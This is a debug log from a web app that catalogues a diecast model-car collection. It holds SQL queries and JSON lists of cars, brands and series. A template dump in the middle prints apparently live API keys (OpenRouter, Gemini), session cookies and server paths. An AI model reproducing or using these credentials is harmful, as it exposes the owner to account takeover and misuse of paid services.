  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-06-01T05:59:39.527Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-06-01T05:59:44.511Z server-connect:router Serving templateView /diecast-worksheet
2026-06-01T05:59:44.511Z server-connect:app Executing action step identify
2026-06-01T05:59:44.511Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:44.511Z server-connect:output identity: 1
2026-06-01T05:59:44.511Z server-connect:app Executing action step restrict
2026-06-01T05:59:44.511Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:59:44.512Z server-connect:output restrict: undefined
2026-06-01T05:59:44.512Z server-connect:router Render template diecast-worksheet
2026-06-01T05:59:44.512Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"4fce-p6hf7P8zaqao4GxM8AMSfR7hKV8"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-02T05:57:21.903Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"4fce-p6hf7P8zaqao4GxM8AMSfR7hKV8"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-01T05:59:44.754Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:44.754Z server-connect:app Executing action step identify
2026-06-01T05:59:44.754Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:44.754Z server-connect:output identity: 1
2026-06-01T05:59:44.754Z server-connect:app Executing action step restrict
2026-06-01T05:59:44.754Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:44.755Z server-connect:output restrict: undefined
2026-06-01T05:59:44.755Z server-connect:app Executing action step select
2026-06-01T05:59:44.755Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:44.755Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-06-01T05:59:44.759Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:44.759Z server-connect:router Serving serverConnect /api/diecast/list
2026-06-01T05:59:44.759Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-01T05:59:44.760Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-06-01T05:59:44.760Z server-connect:app Executing action step identify
2026-06-01T05:59:44.760Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:44.760Z server-connect:output identity: 1
2026-06-01T05:59:44.760Z server-connect:app Executing action step restrict
2026-06-01T05:59:44.760Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:44.760Z server-connect:app Executing action step identify
2026-06-01T05:59:44.760Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:44.761Z server-connect:output identity: 1
2026-06-01T05:59:44.761Z server-connect:app Executing action step restrict
2026-06-01T05:59:44.761Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:44.761Z server-connect:app Executing action step identify
2026-06-01T05:59:44.761Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:44.761Z server-connect:output identity: 1
2026-06-01T05:59:44.761Z server-connect:app Executing action step restrict
2026-06-01T05:59:44.761Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:44.761Z server-connect:app Executing action step identify
2026-06-01T05:59:44.761Z server-connect:app options: { provider: 'security' }
2026-06-01T05:59:44.761Z server-connect:output identity: 1
2026-06-01T05:59:44.761Z server-connect:app Executing action step restrict
2026-06-01T05:59:44.761Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:59:44.761Z server-connect:output restrict: undefined
2026-06-01T05:59:44.761Z server-connect:app Executing action step paged
2026-06-01T05:59:44.762Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-06-01T05:59:44.763Z server-connect:output restrict: undefined
2026-06-01T05:59:44.763Z server-connect:app Executing action step select
2026-06-01T05:59:44.763Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:44.763Z server-connect:output restrict: undefined
2026-06-01T05:59:44.763Z server-connect:app Executing action step select
2026-06-01T05:59:44.764Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-01T05:59:44.764Z server-connect:output restrict: undefined
2026-06-01T05:59:44.764Z server-connect:app Executing action step select
2026-06-01T05:59:44.764Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-01T05:59:44.765Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-06-01T05:59:44.766Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
